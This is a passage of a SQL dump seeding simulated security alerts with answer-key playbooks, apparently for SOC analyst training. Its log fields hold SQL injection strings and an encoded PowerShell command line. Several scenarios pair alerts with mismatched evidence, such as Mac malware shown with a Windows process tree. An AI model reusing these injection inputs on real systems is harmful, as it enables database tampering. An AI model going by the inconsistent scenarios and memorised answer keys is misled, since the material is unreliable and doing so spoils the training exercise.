203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T15:00:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.70\\\",\\\"dst_ip\\\":\\\"192.168.1.50\\\",\\\"username\\\":\\\"webuser\\\",\\\"hostname\\\":\\\"CORP-WEB-505\\\",\\\"request_body\\\":\\\"id=1; DROP TABLE users;\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.995Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T15:00:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.70\\\",\\\"dst_ip\\\":\\\"192.168.1.50\\\",\\\"username\\\":\\\"webuser\\\",\\\"hostname\\\":\\\"CORP-WEB-505\\\",\\\"request_body\\\":\\\"id=1; DROP TABLE users;\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.995Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T15:00:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.70\\\",\\\"dst_ip\\\":\\\"192.168.1.50\\\",\\\"username\\\":\\\"webuser\\\",\\\"hostname\\\":\\\"CORP-WEB-505\\\",\\\"request_body\\\":\\\"id=1; DROP TABLE users;\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.995Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T15:00:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.70\\\",\\\"dst_ip\\\":\\\"192.168.1.50\\\",\\\"username\\\":\\\"webuser\\\",\\\"hostname\\\":\\\"CORP-WEB-505\\\",\\\"request_body\\\":\\\"id=1; DROP TABLE users;\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.995Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T15:00:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"203.0.113.70\\\",\\\"dst_ip\\\":\\\"192.168.1.50\\\",\\\"username\\\":\\\"webuser\\\",\\\"hostname\\\":\\\"CORP-WEB-505\\\",\\\"request_body\\\":\\\"id=1; DROP TABLE users;\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
(1439, 'Possible Insider Data Leak Detected', 'medium', 'Symantec DLP', 'An employee was detected attempting to send sensitive files to a personal email address.', 'Data Exfil', 'T1059', 1, 'Closed', 266, '{\"timestamp\":\"2026-03-02T16:00:00Z\",\"event_type\":\"email_sent\",\"src_ip\":\"192.168.1.55\",\"dst_ip\":\"10.0.0.10\",\"username\":\"jdoe\",\"hostname\":\"CORP-LAP-606\",\"email_sender\":\"jdoe@corporate.com\",\"email_receiver\":\"personalemail@example.com\"}', '2026-03-02 03:22:47', '2026-03-09 13:42:00', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"personalemail@example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Email address linked to potential data exfiltration\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP of the user\'s laptop\"}}],\"expected_actions\":[\"collect_forensics\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The email attempt to a personal address with sensitive attachments indicates a potential insider threat.\"}', 'Beginner', 'DLP', 3, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.997Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T16:00:00Z\\\",\\\"event_type\\\":\\\"email_sent\\\",\\\"src_ip\\\":\\\"192.168.1.55\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAP-606\\\",\\\"email_sender\\\":\\\"jdoe@corporate.com\\\",\\\"email_receiver\\\":\\\"personalemail@example.com\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.997Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T16:00:00Z\\\",\\\"event_type\\\":\\\"email_sent\\\",\\\"src_ip\\\":\\\"192.168.1.55\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAP-606\\\",\\\"email_sender\\\":\\\"jdoe@corporate.com\\\",\\\"email_receiver\\\":\\\"personalemail@example.com\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.997Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T16:00:00Z\\\",\\\"event_type\\\":\\\"email_sent\\\",\\\"src_ip\\\":\\\"192.168.1.55\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAP-606\\\",\\\"email_sender\\\":\\\"jdoe@corporate.com\\\",\\\"email_receiver\\\":\\\"personalemail@example.com\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.997Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T16:00:00Z\\\",\\\"event_type\\\":\\\"email_sent\\\",\\\"src_ip\\\":\\\"192.168.1.55\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAP-606\\\",\\\"email_sender\\\":\\\"jdoe@corporate.com\\\",\\\"email_receiver\\\":\\\"personalemail@example.com\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.997Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T16:00:00Z\\\",\\\"event_type\\\":\\\"email_sent\\\",\\\"src_ip\\\":\\\"192.168.1.55\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAP-606\\\",\\\"email_sender\\\":\\\"jdoe@corporate.com\\\",\\\"email_receiver\\\":\\\"personalemail@example.com\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1440, 'Failed Brute Force Login Attempt', 'low', 'Forcepoint', 'A login attempt failed due to incorrect credentials from an external IP, no further attempts were noted.', 'Credential Attack', 'T1078', 0, 'investigating', NULL, '{\"timestamp\":\"2026-03-02T17:00:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.80\",\"dst_ip\":\"192.168.1.60\",\"username\":\"jdoe\",\"hostname\":\"CORP-SVR-707\",\"failed_attempts\":1}', '2026-03-02 03:22:47', '2026-03-07 05:19:00', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.80\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"clean\",\"details\":\"No malicious activity reported for this IP\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.60\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP of the server\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The failed login attempt was a one-off incident and does not indicate a brute force attack.\"}', 'Beginner', 'DLP', 3, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.999Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T17:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.80\\\",\\\"dst_ip\\\":\\\"192.168.1.60\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-SVR-707\\\",\\\"failed_attempts\\\":1}\"},{\"timestamp\":\"2026-03-02T13:54:06.999Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T17:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.80\\\",\\\"dst_ip\\\":\\\"192.168.1.60\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-SVR-707\\\",\\\"failed_attempts\\\":1}\"},{\"timestamp\":\"2026-03-02T13:53:06.999Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T17:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.80\\\",\\\"dst_ip\\\":\\\"192.168.1.60\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-SVR-707\\\",\\\"failed_attempts\\\":1}\"},{\"timestamp\":\"2026-03-02T13:52:06.999Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T17:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.80\\\",\\\"dst_ip\\\":\\\"192.168.1.60\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-SVR-707\\\",\\\"failed_attempts\\\":1}\"},{\"timestamp\":\"2026-03-02T13:51:06.999Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T17:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.80\\\",\\\"dst_ip\\\":\\\"192.168.1.60\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-SVR-707\\\",\\\"failed_attempts\\\":1}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1441, 'Potential Unauthorized Data Transfer to Cloud Storage', 'medium', 'Netskope', 'Detected potential unauthorized upload of files to personal cloud storage service from an employee\'s machine.', 'Data Exfil', 'T1059', 0, 'investigating', NULL, '{\"timestamp\":\"2026-03-02T18:00:00Z\",\"event_type\":\"web_request\",\"src_ip\":\"192.168.1.65\",\"dst_ip\":\"203.0.113.90\",\"username\":\"jdoe\",\"hostname\":\"CORP-DESK-808\",\"url\":\"http://personalcloud.example.com/upload\"}', '2026-03-02 03:22:47', '2026-03-03 12:15:59', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"url\",\"value\":\"http://personalcloud.example.com/upload\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"clean\",\"details\":\"Personal cloud storage, no malicious activity\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.65\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP of the user\'s workstation\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The upload was to a verified personal cloud account, flagged due to policy but not malicious.\"}', 'Beginner', 'DLP', 3, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:07.000Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T18:00:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.1.65\\\",\\\"dst_ip\\\":\\\"203.0.113.90\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-DESK-808\\\",\\\"url\\\":\\\"http://personalcloud.example.com/upload\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:07.000Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T18:00:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.1.65\\\",\\\"dst_ip\\\":\\\"203.0.113.90\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-DESK-808\\\",\\\"url\\\":\\\"http://personalcloud.example.com/upload\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:07.000Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T18:00:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.1.65\\\",\\\"dst_ip\\\":\\\"203.0.113.90\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-DESK-808\\\",\\\"url\\\":\\\"http://personalcloud.example.com/upload\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:07.000Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T18:00:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.1.65\\\",\\\"dst_ip\\\":\\\"203.0.113.90\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-DESK-808\\\",\\\"url\\\":\\\"http://personalcloud.example.com/upload\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:07.000Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T18:00:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.1.65\\\",\\\"dst_ip\\\":\\\"203.0.113.90\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-DESK-808\\\",\\\"url\\\":\\\"http://personalcloud.example.com/upload\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1442, 'Successful Data Exfiltration to External Server', 'critical', 'Forcepoint', 'Sensitive data was successfully transferred to a known external server without authorization.', 'Data Exfil', 'T1059', 1, 'Closed', 225, '{\"timestamp\":\"2026-03-02T19:00:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.70\",\"dst_ip\":\"203.0.113.100\",\"username\":\"jdoe\",\"hostname\":\"CORP-LAP-909\"}', '2026-03-02 03:22:47', '2026-03-06 10:00:02', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.70\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP of the user\'s laptop\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in data exfiltration incidents\"}}],\"expected_actions\":[\"block_ip\",\"collect_forensics\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The external server IP is linked to data exfiltration, confirming the breach.\"}', 'Beginner', 'DLP', 3, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:07.006Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T19:00:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.70\\\",\\\"dst_ip\\\":\\\"203.0.113.100\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAP-909\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:07.006Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T19:00:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.70\\\",\\\"dst_ip\\\":\\\"203.0.113.100\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAP-909\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:07.006Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T19:00:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.70\\\",\\\"dst_ip\\\":\\\"203.0.113.100\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAP-909\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:07.006Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T19:00:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.70\\\",\\\"dst_ip\\\":\\\"203.0.113.100\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAP-909\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:07.006Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T19:00:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.70\\\",\\\"dst_ip\\\":\\\"203.0.113.100\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAP-909\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1443, 'Initial Access via Spear Phishing', 'medium', 'Employee Email', 'An email from a seemingly legitimate aerospace industry contact contains a malicious link leading to a compromised website, setting the stage for network infiltration.', 'Social Engineering', 'T1566.001 - Spear Phishing Link', 1, 'Closed', 232, '{\"timestamp\":\"2023-10-12T08:45:00Z\",\"source_ip\":\"172.217.18.110\",\"destination_ip\":\"10.0.0.15\",\"source_email\":\"j.smith@aerospace-experts.com\",\"destination_email\":\"t.miller@contractor-network.com\",\"subject\":\"Exciting Collaboration Opportunity\",\"malicious_link\":\"http://compromised-site.com/login\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"email_id\":\"<a1b2c3d4e5f6@example.com>\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"filename\":\"Project_Plan.pdf\"}', '2026-03-03 22:01:10', '2026-03-13 16:22:18', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"172.217.18.110\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with phishing campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"IP address belongs to the contractor\'s network.\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"j.smith@aerospace-experts.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Email Reputation Service\",\"verdict\":\"suspicious\",\"details\":\"Email address used in similar phishing incidents.\"}},{\"id\":\"artifact_4\",\"type\":\"url\",\"value\":\"http://compromised-site.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URL Analysis Tool\",\"verdict\":\"malicious\",\"details\":\"URL hosts phishing landing page.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":false,\"osint_result\":{\"source\":\"File Hash Database\",\"verdict\":\"clean\",\"details\":\"Hash belongs to an empty file, potential decoy.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"]}', 'novice', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Initial Access via Spear Phishing\",\"date\":\"2026-03-03T22:56:57.368Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1444, 'Execution of Custom Mac Malware', 'high', 'Endpoint Detection System', 'The attackers deployed custom Mac malware on a target system within the network. This malware is designed to evade detection and establish control over the system, allowing attackers to potentially pivot further into the network.', 'Malware Deployment', 'T1059.003 - Command and Scripting Interpreter: AppleScript', 1, 'Closed', 225, '{\"timestamp\":\"2023-10-12T14:23:32Z\",\"event_id\":\"mac_malware_exec_001\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\",\"username\":\"jdoe\",\"malware_filename\":\"launchProxy\",\"file_hash\":\"3fa8f88c9b1e237e9b6c8e1e4d9e2f7c\",\"action\":\"execution\",\"status\":\"blocked\",\"detection_method\":\"signature-based detection\",\"signature_name\":\"CustomMacMalware.v1\"}', '2026-03-03 22:01:10', '2026-03-09 03:22:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known command and control server associated with Lazarus Group.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal network IP address.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"launchProxy\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Detection System\",\"verdict\":\"malicious\",\"details\":\"Malware designed to evade detection on MacOS systems.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"3fa8f88c9b1e237e9b6c8e1e4d9e2f7c\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malicious Mac malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'novice', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1445, 'Establishing Persistence and Lateral Movement', 'high', 'Network Traffic Analysis', 'The Lazarus Group has been detected using stolen credentials to move laterally within the network, targeting critical aerospace and military data. The threat actor is leveraging known TTPs to maintain access and seek sensitive information.', 'Lateral Movement', 'T1078: Valid Accounts', 1, 'Closed', 225, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"event_type\":\"authentication\",\"source_ip\":\"192.168.1.45\",\"destination_ip\":\"10.0.5.12\",\"user\":\"jdoe\",\"action\":\"login_success\",\"credentials\":{\"method\":\"password\",\"status\":\"compromised\"},\"malicious_file\":{\"filename\":\"persistent_agent.exe\",\"file_hash\":\"7e4d2b6e3f8c6b1b9a3c342f5d7a8a3b\"},\"attacker_ip\":\"203.0.113.5\"}', '2026-03-03 22:01:10', '2026-03-09 03:23:46', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.5.12\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of targeted system\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"user_directory\",\"verdict\":\"suspicious\",\"details\":\"User credentials used for lateral 